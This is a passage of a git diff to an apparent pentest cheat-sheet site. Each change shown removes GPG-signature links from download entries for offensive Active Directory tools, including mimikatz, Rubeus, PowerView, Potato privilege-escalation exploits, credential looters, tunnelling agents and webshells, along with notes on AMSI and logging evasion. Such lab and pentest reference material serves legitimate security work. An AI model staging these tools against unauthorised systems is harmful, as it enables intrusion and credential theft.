-> [Whisker.exe](/downloads/pentest-workflow/Whisker.exe) ([SHA-256](/downloads/pentest-workflow/Whisker.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Whisker.exe.sha256.asc)) — [Whisker](https://github.com/eladshamir/Whisker): Windows-side Shadow Credentials (writes `msDS-KeyCredentialLink`); pair with Rubeus `asktgt /getcredentials` for the PKINIT+UnPAC tail. Linux twin: [pywhisker](https://github.com/ShutdownRepo/pywhisker).
+> [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256)) — PowerSploit [PowerView](https://github.com/PowerShellMafia/PowerSploit): `Find-InterestingDomainAcl`, `Get-DomainObjectAcl`, `Add-DomainObjectAcl`, `Set-DomainObjectOwner`, `Set-DomainUserPassword`. AMSI-bypass first on modern boxes; SharpView is the C# port if PowerShell is constrained.
+> [StandIn_v13_Net35_45.zip](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip) ([SHA-256](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256)) — [StandIn](https://github.com/FuzzySecurity/StandIn): small C# ACE/object manipulator that flies under PowerShell logging — owner/ACE grants, group adds, AS-REP/RBCD flips, LAPS read.
+> [targetedKerberoast.py](/downloads/pentest-workflow/targetedKerberoast.py) ([SHA-256](/downloads/pentest-workflow/targetedKerberoast.py.sha256)) — [targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast): one-shot Linux GenericWrite abuse — sets SPN, roasts, prints hashcat-ready hash.
+> [Whisker.exe](/downloads/pentest-workflow/Whisker.exe) ([SHA-256](/downloads/pentest-workflow/Whisker.exe.sha256)) — [Whisker](https://github.com/eladshamir/Whisker): Windows-side Shadow Credentials (writes `msDS-KeyCredentialLink`); pair with Rubeus `asktgt /getcredentials` for the PKINIT+UnPAC tail. Linux twin: [pywhisker](https://github.com/ShutdownRepo/pywhisker).
 >
 > Link-only drivers: [bloodyAD](https://github.com/CravateRouge/bloodyAD) · [Impacket](https://github.com/fortra/impacket) (`dacledit.py`, `owneredit.py`, `rbcd.py`, `addcomputer.py`) · [NetExec](https://github.com/Pennyw0rth/NetExec) · [autobloody](https://github.com/CravateRouge/autobloody) · [evil-winrm](https://github.com/Hackplayers/evil-winrm).
 

src/content/sheets/pentest-workflow/active-directory-enumeration.md

@@ -123,8 +123,8 @@ kerbrute userenum -d $DOMAIN --dc $DC \
 ```
 
 > [!tools] Stage this — kerbrute (both platforms staged in vault)
-> [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256.asc))
-> [kerbrute_windows_amd64.exe](/downloads/pentest-workflow/kerbrute_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256.asc))
+> [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256))
+> [kerbrute_windows_amd64.exe](/downloads/pentest-workflow/kerbrute_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256))
 > Canonical source: [ropnop/kerbrute](https://github.com/ropnop/kerbrute). Wordlists from [SecLists](https://github.com/danielmiessler/SecLists) (`statistically-likely-usernames`, `xato-net-10-million-usernames`) or generate from employee names with [username-anarchy](https://github.com/urbanadventurer/username-anarchy) / [linkedin2username](https://github.com/initstring/linkedin2username) — see [Stage 00](/sheets/pentest-workflow/passive-external-recon).
 
 **Exploit / pivot from unauth**
@@ -373,7 +373,7 @@ adidnsdump -u "$DOMAIN\\$U" -p "$P" $DC --dns-tcp
 This is why I enumerate at all: dump the graph, mark what I own, let it show me the path to DA. Collect the moment I have *any* cred, even low-priv. Current platform: [BloodHound CE](https://github.com/SpecterOps/BloodHound) (SpecterOps). Legacy BloodHound 4.x is end-of-life but still lurks in older lab images.
 
 > [!tools] Stage this — SharpHound collector (exe + ps1 in one zip)
-> [SharpHound.zip](/downloads/pentest-workflow/SharpHound.zip) ([SHA-256](/downloads/pentest-workflow/SharpHound.zip.sha256) · [GPG signature](/downloads/pentest-workflow/SharpHound.zip.sha256.asc))
+> [SharpHound.zip](/downloads/pentest-workflow/SharpHound.zip) ([SHA-256](/downloads/pentest-workflow/SharpHound.zip.sha256))
 > Canonical source: [SpecterOps/SharpHound](https://github.com/SpecterOps/SharpHound). Linux collectors: [bloodhound-ce-python](https://github.com/dirkjanm/BloodHound.py) (CE-schema) and [RustHound-CE](https://github.com/g0h4n/RustHound-CE) (fast Rust collector, CE-compatible). **Collector schema must match the ingestor** — check the table below.
 
 **Legacy vs CE — the compatibility trap:**
@@ -546,7 +546,7 @@ jq -r 'to_entries[] | .key as $share | .value | keys[] | "\($share)/\(.)"' \
 ```
 
 > [!tools] Stage this — Snaffler (the AD-aware share credential hunter)
-> [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Snaffler.exe.sha256.asc))
+> [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256))
 > Canonical source: [SnaffCon/Snaffler](https://github.com/SnaffCon/Snaffler). Unlike a dumb spider, Snaffler **enumerates the domain for computer targets itself**, then classifies file contents by credential-likelihood rules. Run from a domain-joined foothold. Cross-ref: full workflow in [Stage 08 — Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting).
 
 ```powershell
@@ -659,8 +659,8 @@ Get-ADGroupMember -Identity "Backup Operators"           # dangerous groups
 **Enumerate — PowerView / SharpView (the offensive workhorse when I can drop it):**
 
 > [!tools] Stage this — PowerView + SharpView
-> [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerView.ps1.sha256.asc))
-> [SharpView.exe](/downloads/pentest-workflow/SharpView.exe) ([SHA-256](/downloads/pentest-workflow/SharpView.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpView.exe.sha256.asc))
+> [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256))
+> [SharpView.exe](/downloads/pentest-workflow/SharpView.exe) ([SHA-256](/downloads/pentest-workflow/SharpView.exe.sha256))
 > Sources: [PowerSploit PowerView](https://github.com/PowerShellMafia/PowerSploit) (`Recon/PowerView.ps1`) and [SharpView](https://github.com/tevora-threat/SharpView) — a **C# port of PowerView with the same cmdlet names/args**. When AMSI/Defender signatures block the `.ps1` import, the `.exe` variant (or `execute-assembly` in-memory) usually still lands.
 
 ```powershell

src/content/sheets/pentest-workflow/adcs-and-certificate-abuse.md

@@ -23,9 +23,9 @@ source: "vault:Pentest Attack Flow/10 - Stage 07 - ADCS and Certificate Abuse.md
 Certificates are password-equivalents that survive password resets. The whole stage is three Certipy verbs on repeat: **`find`** (triage) → **`req` / `relay` / `shadow` / `forge`** (get a cert for someone I shouldn't) → **`auth`** (PKINIT → TGT + NT hash via UnPAC). Everything below feeds the same tail. Deep dives: _ADCS Attack Methodology Guide · _ADCS ESC Attack Index · Certipy-ad · Certipy-ADCS-Cheatsheet.
 
 > [!tools] Stage this
-> [Certify.exe](/downloads/pentest-workflow/Certify.exe) ([SHA-256](/downloads/pentest-workflow/Certify.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Certify.exe.sha256.asc)) — GhostPack [Certify](https://github.com/GhostPack/Certify): the Windows-side enumerator/abuser (`find /vulnerable`, `cas`, `pkiobjects`, `request /altname`). Needs the CA FQDN reachable; run from a domain-joined foothold or via `runas /netonly`.
-> [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Rubeus.exe.sha256.asc)) — GhostPack [Rubeus](https://github.com/GhostPack/Rubeus): the Windows-side auth tail — `asktgt /certificate:cert.pfx /getcredentials /ptt` does PKINIT + UnPAC + inject in one shot.
-> [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpDPAPI.exe.sha256.asc)) — GhostPack [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI): cert theft side — `certificates` / `machinecertificates` unwrap DPAPI-locked user/machine certs + private keys.
+> [Certify.exe](/downloads/pentest-workflow/Certify.exe) ([SHA-256](/downloads/pentest-workflow/Certify.exe.sha256)) — GhostPack [Certify](https://github.com/GhostPack/Certify): the Windows-side enumerator/abuser (`find /vulnerable`, `cas`, `pkiobjects`, `request /altname`). Needs the CA FQDN reachable; run from a domain-joined foothold or via `runas /netonly`.
+> [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256)) — GhostPack [Rubeus](https://github.com/GhostPack/Rubeus): the Windows-side auth tail — `asktgt /certificate:cert.pfx /getcredentials /ptt` does PKINIT + UnPAC + inject in one shot.
+> [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256)) — GhostPack [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI): cert theft side — `certificates` / `machinecertificates` unwrap DPAPI-locked user/machine certs + private keys.
 >
 > Link-only drivers: [Certipy](https://github.com/ly4k/Certipy) (the Linux workhorse) · [ForgeCert](https://github.com/GhostPack/ForgeCert) (golden certs, Windows) · [PSPKIAudit](https://github.com/GhostPack/PSPKIAudit) (defensive audit, useful for template diffs) · [Impacket ntlmrelayx](https://github.com/fortra/impacket) (ESC8 relay).
 

src/content/sheets/pentest-workflow/attack-flow-dashboard.md

@@ -69,8 +69,8 @@ printf '%s\t%s\n' "$DCIP" "$DC" | sudo tee -a /etc/hosts
 > |---|---|---|
 > | [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) (`cme`) | [NetExec](https://github.com/Pennyw0rth/NetExec) (`nxc`) | cme is unmaintained; nxc is the drop-in successor (`nxc smb/ldap/winrm/mssql`). |
 > | BloodHound Legacy + SharpHound 4 | [BloodHound CE](https://github.com/SpecterOps/BloodHound) + [bloodhound-ce-python](https://github.com/dirkjanm/BloodHound.py) / [RustHound-CE](https://github.com/g0h4n/RustHound-CE) | CE (Postgres, new edge model) is what HTB/CPTS material assumes now; legacy ingestors break against it. |
-> | ADCS by hand | [Certipy](https://github.com/ly4k/Certipy) (`certipy-ad find -vulnerable`) + on-host [Certify.exe](/downloads/pentest-workflow/Certify.exe) ([SHA-256](/downloads/pentest-workflow/Certify.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Certify.exe.sha256.asc)) | One command maps ESC1–ESC16 instead of manual template audit. |
-> | On-host Kerberos by hand | [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Rubeus.exe.sha256.asc)) | Roast, asktgt/asktgs, delegation abuse, ticket injection from Windows. |
+> | ADCS by hand | [Certipy](https://github.com/ly4k/Certipy) (`certipy-ad find -vulnerable`) + on-host [Certify.exe](/downloads/pentest-workflow/Certify.exe) ([SHA-256](/downloads/pentest-workflow/Certify.exe.sha256)) | One command maps ESC1–ESC16 instead of manual template audit. |
+> | On-host Kerberos by hand | [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256)) | Roast, asktgt/asktgs, delegation abuse, ticket injection from Windows. |
 > | Manual ACL edits | [bloodyAD](https://github.com/CravateRouge/bloodyAD) / impacket `dacledit.py`, `owneredit.py`, `rbcd.py` | Reversible, scriptable ACE changes. |
 >
 > Everything in the right column above (and more) ships **offline** in this vault — see the toolkit table below.
@@ -136,69 +136,69 @@ printf '%s\t%s\n' "$DCIP" "$DC" | sudo tee -a /etc/hosts
 
 ## Offline Toolkit (attachments/)
 
-The `attachments/` folder **ships offline with this vault** — no egress needed on an air-gapped or HTB VPN lab. Verify integrity before staging anything to a target (record: [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) ([GPG signature](/downloads/pentest-workflow/SHA256SUMS.asc))):
+The `attachments/` folder **ships offline with this vault** — no egress needed on an air-gapped or HTB VPN lab. Verify integrity before staging anything to a target (record: [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS)):
 
 ```bash
 cd attachments && sha256sum -c SHA256SUMS.txt --ignore-missing
 ```
 
 > [!warning] Verify, then stage
-> Confirm every binary against [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) ([GPG signature](/downloads/pentest-workflow/SHA256SUMS.asc)) before use, and expect AV/Defender to flag most of these — stage in a lab, whitelist only in-scope paths, and clean up afterwards ([Stage 11](/sheets/pentest-workflow/documentation-and-reporting)).
+> Confirm every binary against [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) before use, and expect AV/Defender to flag most of these — stage in a lab, whitelist only in-scope paths, and clean up afterwards ([Stage 11](/sheets/pentest-workflow/documentation-and-reporting)).
 
 | File | Platform | Purpose | Primary stage |
 |---|---|---|---|
-| [Certify.exe](/downloads/pentest-workflow/Certify.exe) ([SHA-256](/downloads/pentest-workflow/Certify.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Certify.exe.sha256.asc)) | Windows | GhostPack Certify — on-host ADCS enumeration/abuse (ESC paths) | [Stage 07](/sheets/pentest-workflow/adcs-and-certificate-abuse) |
-| [Go365_linux_amd64.tar.gz](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/Go365_linux_amd64.tar.gz.sha256.asc)) | Linux | Go365 — Office 365 password spraying | [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) |
-| [GodPotato-NET35.exe](/downloads/pentest-workflow/GodPotato-NET35.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256.asc)) | Windows (.NET 3.5) | SeImpersonate → SYSTEM (works with Spooler disabled) | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256.asc)) | Windows (.NET 4.x) | SeImpersonate → SYSTEM (works with Spooler disabled) | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [Inveigh.ps1](/downloads/pentest-workflow/Inveigh.ps1) ([SHA-256](/downloads/pentest-workflow/Inveigh.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/Inveigh.ps1.sha256.asc)) | Windows | LLMNR/NBNS/mDNS spoofing + NTLM capture (Windows-side Responder) | [Stage 03](/sheets/pentest-workflow/service-enumeration) |
-| [JuicyPotato.exe](/downloads/pentest-workflow/JuicyPotato.exe) ([SHA-256](/downloads/pentest-workflow/JuicyPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/JuicyPotato.exe.sha256.asc)) | Windows | SeImpersonate privesc (pre-Server 2019 / Win10 1809) | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256) · [GPG signature](/downloads/pentest-workflow/LaZagne.exe.sha256.asc)) | Windows | Local credential looting (browsers, mail, Wi-Fi, etc.) | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
-| [MSOLSpray.ps1](/downloads/pentest-workflow/MSOLSpray.ps1) ([SHA-256](/downloads/pentest-workflow/MSOLSpray.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/MSOLSpray.ps1.sha256.asc)) | Windows | Azure AD / O365 password spraying | [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) |
-| [PetitPotam.py](/downloads/pentest-workflow/PetitPotam.py) ([SHA-256](/downloads/pentest-workflow/PetitPotam.py.sha256) · [GPG signature](/downloads/pentest-workflow/PetitPotam.py.sha256.asc)) | Linux | EFS RPC NTLM coercion (ESC8 prerequisite) | [Stage 07](/sheets/pentest-workflow/adcs-and-certificate-abuse) |
-| [PowerUp.ps1](/downloads/pentest-workflow/PowerUp.ps1) ([SHA-256](/downloads/pentest-workflow/PowerUp.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerUp.ps1.sha256.asc)) | Windows | PowerSploit PowerUp — Windows privesc misconfig checks | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerView.ps1.sha256.asc)) | Windows | PowerSploit PowerView — AD enumeration | [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) |
-| [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc)) | Windows | SeImpersonate → SYSTEM via named pipe (needs Spooler) | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [PrivescCheck.ps1](/downloads/pentest-workflow/PrivescCheck.ps1) ([SHA-256](/downloads/pentest-workflow/PrivescCheck.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PrivescCheck.ps1.sha256.asc)) | Windows | PrivescCheck — PowerShell Windows privesc enumeration | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [Rubeus.exe](/downloads/pentest-workflow/Rubeus.exe) ([SHA-256](/downloads/pentest-workflow/Rubeus.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Rubeus.exe.sha256.asc)) | Windows | GhostPack Rubeus — Kerberos abuse (roast, tickets, delegation) | [Stage 05](/sheets/pentest-workflow/kerberos-attacks) |
-| [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) ([GPG signature](/downloads/pentest-workflow/SHA256SUMS.asc)) | Any | Integrity record for every file in `attachments/` | This dashboard |
-| [Seatbelt.exe](/downloads/pentest-workflow/Seatbelt.exe) ([SHA-256](/downloads/pentest-workflow/Seatbelt.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Seatbelt.exe.sha256.asc)) | Windows | GhostPack Seatbelt — host situational awareness | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpDPAPI.exe.sha256.asc)) | Windows | GhostPack SharpDPAPI — DPAPI masterkey/blob abuse | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
-| [SharpHound.zip](/downloads/pentest-workflow/SharpHound.zip) ([SHA-256](/downloads/pentest-workflow/SharpHound.zip.sha256) · [GPG signature](/downloads/pentest-workflow/SharpHound.zip.sha256.asc)) | Windows | SharpHound collector (exe + ps1) for BloodHound CE | [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) |
-| [SharpUp.exe](/downloads/pentest-workflow/SharpUp.exe) ([SHA-256](/downloads/pentest-workflow/SharpUp.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpUp.exe.sha256.asc)) | Windows | GhostPack SharpUp — privesc misconfig checks (C#) | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [SharpView.exe](/downloads/pentest-workflow/SharpView.exe) ([SHA-256](/downloads/pentest-workflow/SharpView.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpView.exe.sha256.asc)) | Windows | SharpView — C# port of PowerView | [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) |
-| [SharpWMI.exe](/downloads/pentest-workflow/SharpWMI.exe) ([SHA-256](/downloads/pentest-workflow/SharpWMI.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpWMI.exe.sha256.asc)) | Windows | GhostPack SharpWMI — WMI lateral movement | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
-| [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Snaffler.exe.sha256.asc)) | Windows | Snaffler — hunt creds in domain shares | [Stage 03](/sheets/pentest-workflow/service-enumeration) |
-| [StandIn_v13_Net35_45.zip](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip) ([SHA-256](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256) · [GPG signature](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256.asc)) | Windows | StandIn — AD object/ACE manipulation from Windows | [Stage 06](/sheets/pentest-workflow/acl-and-object-abuse) |
-| [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SweetPotato.exe.sha256.asc)) | Windows | Potato combo (PrintSpoofer + Rotten + EfsRpc) | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [Whisker.exe](/downloads/pentest-workflow/Whisker.exe) ([SHA-256](/downloads/pentest-workflow/Whisker.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Whisker.exe.sha256.asc)) | Windows | Shadow Credentials (msDS-KeyCredentialLink) from Windows | [Stage 06](/sheets/pentest-workflow/acl-and-object-abuse) |
-| [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256) · [GPG signature](/downloads/pentest-workflow/chisel.exe.sha256.asc)) | Windows | chisel — TCP/UDP tunneling over HTTP | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
-| [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc)) | Linux | chisel — TCP/UDP tunneling over HTTP | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
-| [donut_v1.1.zip](/downloads/pentest-workflow/donut_v1.1.zip) ([SHA-256](/downloads/pentest-workflow/donut_v1.1.zip.sha256) · [GPG signature](/downloads/pentest-workflow/donut_v1.1.zip.sha256.asc)) | Cross | donut — PE/DLL/EXE → position-independent shellcode | [Foothold — Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) |
-| [fscan_windows_x64.exe](/downloads/pentest-workflow/fscan_windows_x64.exe) ([SHA-256](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/fscan_windows_x64.exe.sha256.asc)) | Windows | fscan — internal all-in-one scanner (ports, services, creds) | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
-| [gowitness_linux_amd64](/downloads/pentest-workflow/gowitness_linux_amd64) ([SHA-256](/downloads/pentest-workflow/gowitness_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/gowitness_linux_amd64.sha256.asc)) | Linux | gowitness — bulk web screenshotting | [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
-| [gowitness_windows_amd64.exe](/downloads/pentest-workflow/gowitness_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/gowitness_windows_amd64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/gowitness_windows_amd64.exe.sha256.asc)) | Windows | gowitness — bulk web screenshotting | [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
-| [jaws-enum.ps1](/downloads/pentest-workflow/jaws-enum.ps1) ([SHA-256](/downloads/pentest-workflow/jaws-enum.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/jaws-enum.ps1.sha256.asc)) | Windows | JAWS — Windows privesc enumeration script | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256.asc)) | Linux | kerbrute — Kerberos user enum + spray | [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) |
-| [kerbrute_windows_amd64.exe](/downloads/pentest-workflow/kerbrute_windows_amd64.exe) ([SHA-256](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/kerbrute_windows_amd64.exe.sha256.asc)) | Windows | kerbrute — Kerberos user enum + spray | [Stage 04](/sheets/pentest-workflow/active-directory-enumeration) |
-| [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc)) | Linux | ligolo-ng agent — TUN-based pivoting | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
-| [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256.asc)) | Windows | ligolo-ng agent — TUN-based pivoting | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
-| [linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc)) | Linux | LinPEAS — Linux privesc enumeration | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [linpeas_linux_amd64](/downloads/pentest-workflow/linpeas_linux_amd64) ([SHA-256](/downloads/pentest-workflow/linpeas_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas_linux_amd64.sha256.asc)) | Linux | LinPEAS binary build | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256) · [GPG signature](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256.asc)) | Windows | mimikatz — credential extraction, tickets, DCSync | [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) |
-| [nc64.exe](/downloads/pentest-workflow/nc64.exe) ([SHA-256](/downloads/pentest-workflow/nc64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/nc64.exe.sha256.asc)) | Windows | netcat for Windows — shells, transfers, listeners | [Foothold — Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) |
-| [nishang-master.zip](/downloads/pentest-workflow/nishang-master.zip) ([SHA-256](/downloads/pentest-workflow/nishang-master.zip.sha256) · [GPG signature](/downloads/pentest-workflow/nishang-master.zip.sha256.asc)) | Windows | Nishang — offensive PowerShell toolkit | [Foothold — Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit) |
-| [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc)) | IIS / ASPX | Custom C# ASPX webshell for IIS targets | [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
-| [pspy32](/downloads/pentest-workflow/pspy32) ([SHA-256](/downloads/pentest-workflow/pspy32.sha256) · [GPG signature](/downloads/pentest-workflow/pspy32.sha256.asc)) | Linux (x86) | pspy — unprivileged process/cron monitor | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256) · [GPG signature](/downloads/pentest-workflow/pspy64.sha256.asc)) | Linux (x64) | pspy — unprivileged process/cron monitor | [Stage 09](/sheets/pentest-workflow/privilege-escalation) |
-| [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.asp.sha256.asc)) | IIS / ASP | Classic ASP webshell | [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
-| [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.jsp.sha256.asc)) | Java app servers | JSP webshell (Tomcat, JBoss, etc.) | [Stage 02](/sheets/pentest-workflow/web-enumeration-and-exploitation) |
